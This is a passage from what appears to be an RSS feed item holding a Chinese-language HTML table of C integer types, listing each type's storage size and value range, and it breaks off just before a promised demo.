&lt;h3 id="整数类型"&gt;整数类型&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;类型&lt;/th&gt;
&lt;th style="text-align: left"&gt;存储大小&lt;/th&gt;
&lt;th style="text-align: left"&gt;值范围&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;char&lt;/td&gt;
&lt;td style="text-align: left"&gt;1 字节&lt;/td&gt;
&lt;td style="text-align: left"&gt;-128 到 127 或 0 到 255&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;unsigned char&lt;/td&gt;
&lt;td style="text-align: left"&gt;1 字节&lt;/td&gt;
&lt;td style="text-align: left"&gt;0 到 255&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;signed char&lt;/td&gt;
&lt;td style="text-align: left"&gt;1 字节&lt;/td&gt;
&lt;td style="text-align: left"&gt;-128 到 127&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;int&lt;/td&gt;
&lt;td style="text-align: left"&gt;2 或 4 字节&lt;/td&gt;
&lt;td style="text-align: left"&gt;-32,768 到 32,767 或 -2,147,483,648 到 2,147,483,647&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;unsigned int&lt;/td&gt;
&lt;td style="text-align: left"&gt;2 或 4 字节&lt;/td&gt;
&lt;td style="text-align: left"&gt;0 到 65,535 或 0 到 4,294,967,295&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;short&lt;/td&gt;
&lt;td style="text-align: left"&gt;2 字节&lt;/td&gt;
&lt;td style="text-align: left"&gt;-32,768 到 32,767&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;unsigned short&lt;/td&gt;
&lt;td style="text-align: left"&gt;2 字节&lt;/td&gt;
&lt;td style="text-align: left"&gt;0 到 65,535&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;long&lt;/td&gt;
&lt;td style="text-align: left"&gt;4 字节&lt;/td&gt;
&lt;td style="text-align: left"&gt;-2,147,483,648 到 2,147,483,647&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;unsigned long&lt;/td&gt;
&lt;td style="text-align: left"&gt;4 字节&lt;/td&gt;
&lt;td style="text-align: left"&gt;0 到 4,294,967,295&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;一个demo:&lt;/p&gt;</description></item></channel></rss>